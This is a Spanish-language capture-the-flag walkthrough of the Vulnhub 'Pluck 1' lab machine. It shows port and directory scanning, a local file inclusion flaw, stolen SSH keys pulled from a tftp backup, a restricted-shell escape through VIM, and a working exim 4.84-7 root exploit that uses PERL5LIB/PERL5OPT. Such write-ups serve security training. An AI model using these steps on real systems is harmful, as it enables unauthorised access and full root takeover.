Primero se hace el escaneo de puertos
$ sudo nmap -sV -Pn -A -O -oN plunk1 192.168.2.11
Starting Nmap
Nmap scan report for 192.168.2.11
Host is up (0.00080s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e887ba3ed74323bf4a6b9dae6314ea71 (RSA)
| 256 8f8cac8de8ccf90e89f75da06c2856fd (ECDSA)
|_ 256 18985a5a5c59e125701c371af2c726fe (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pluck
|_http-server-header: Apache/2.4.18 (Ubuntu)
3306/tcp open mysql MySQL (unauthorized)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Se encontraron 3 servicios, el servicio de SSH, http y MySQL. Al revisar el servicio de http se encuentra esto.
No había nada en el código fuente, asi que se escaneó las rutas.
$ gobuster dir -u http://192.168.2.11/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
==============================================================================================================================
http://192.168.2.11/images (Status: 301) [Size: 313] [--> http://192.168.2.11/images/]
http://192.168.2.11/css (Status: 301) [Size: 310] [--> http://192.168.2.11/css/]
http://192.168.2.11/js (Status: 301) [Size: 309] [--> http://192.168.2.11/js/]
http://192.168.2.11/fonts (Status: 301) [Size: 312] [--> http://192.168.2.11/fonts/]
http://192.168.2.11/server-status (Status: 403) [Size: 300]
Progress: 218873 / 220586 (99.22%)
Como parcialmente buscando no encontró nada, le pase como flag extensiones que debía buscar.
$ gobuster dir -u http://192.168.2.11/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.11/.html (Status: 403) [Size: 292]
http://192.168.2.11/.php (Status: 403) [Size: 291]
http://192.168.2.11/images (Status: 301) [Size: 313] [--> http://192.168.2.11/images/]
http://192.168.2.11/index.php (Status: 200) [Size: 2309]
http://192.168.2.11/about.php (Status: 200) [Size: 16645]
http://192.168.2.11/contact.php (Status: 200) [Size: 1081]
http://192.168.2.11/header.php (Status: 200) [Size: 1569]
http://192.168.2.11/admin.php (Status: 200) [Size: 2721]
http://192.168.2.11/footer.php (Status: 200) [Size: 241]
http://192.168.2.11/css (Status: 301) [Size: 310] [--> http://192.168.2.11/css/]
http://192.168.2.11/js (Status: 301) [Size: 309] [--> http://192.168.2.11/js/]
http://192.168.2.11/fonts (Status: 301) [Size: 312] [--> http://192.168.2.11/fonts/]
http://192.168.2.11/.php (Status: 403) [Size: 291]
http://192.168.2.11/.html (Status: 403) [Size: 292]
Y no se encontró nada relévente, asi que buscando con más detalle las rutas disponibles, se encontró esto.
Es una vulnerabilidad llamada Local File Inclusion (LFI) o en pocas palabras permite filtrar archivos del sistema navegando a través de la URL.
De esta manera se pudo acceder al archivo de cuenta de usuario, lo más inusual e interesante es lo que dice al final sobre hacer backups más fácil.
Aprovechando la vulnerabilidad LFI sea busca el archivo que mencionaba anteriormente. Hay un archivo que se puede acceder a través de tftp.
$ tftp 192.168.2.11
tftp> status
Connected to 192.168.2.11.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get /backups/backup.tar
tftp> quit
Ahora al descomprimirlo se encontró lo siguiente
$ tar -vxf backup.tar
home/
home/bob/
home/bob/.bashrc
home/bob/.sudo_as_admin_successful
home/bob/.profile
home/bob/.bash_logout
home/paul/
home/paul/keys/
home/paul/keys/id_key3.pub
home/paul/keys/id_key2.pub
home/paul/keys/id_key2
home/paul/keys/id_key4.pub
home/paul/keys/id_key5.pub
home/paul/keys/id_key6
home/paul/keys/id_key1
home/paul/keys/id_key5
home/paul/keys/id_key1.pub
home/paul/keys/id_key6.pub
home/paul/keys/id_key4
home/paul/keys/id_key3
home/paul/.bashrc
home/paul/.profile
home/paul/.bash_logout
home/peter/
home/peter/.bashrc
home/peter/.profile
home/peter/.bash_logout
var/www/html/
...
Luego es probar el acceso a las llaves que tiene peter. Al llegar a la cuarta aparece este menú.
$ sudo ssh paul@192.168.2.11 -i id_key4
Aparentemente, me da acceso a VIM, asi que se puede intentar saltar la restricción y obtener una shell eligiendo la opción editar file y al ingresar pasarle un parámetro que dará una shell.
:set shell=/bin/bash
:shell
Ahora averiguar una forma de obtener acceso a un usuario.
$ find / -perm -u=s -type f 2>/dev/null
/usr/exim/bin/exim-4.84-7
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/s-nail/s-nail-privsep
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/bin/ping
/bin/ntfs-3g
Al parecer exim en la lista, se encuentra vulnerabilidades de exim (exploit), lo siguiente es explotarlo.
$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)
$ cat > /tmp/root.pm << EOF
> package root;
> use strict;
> use warnings;
> system("/bin/sh");
> EOF
$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim-4.84-7 -ps
# id
uid=0(root) gid=1002(paul) groups=1002(paul)
Obteniendo el acceso de root, a continuación obtener el flag.
# cd /root
# ls
flag.txt
# cat flag.txt
Congratulations you found the flag
---------------------------------------
Muchas gracias a Ryan Oberto que nos brindó esta VM. Hasta la próxima.
Vulnhub: Pluck 1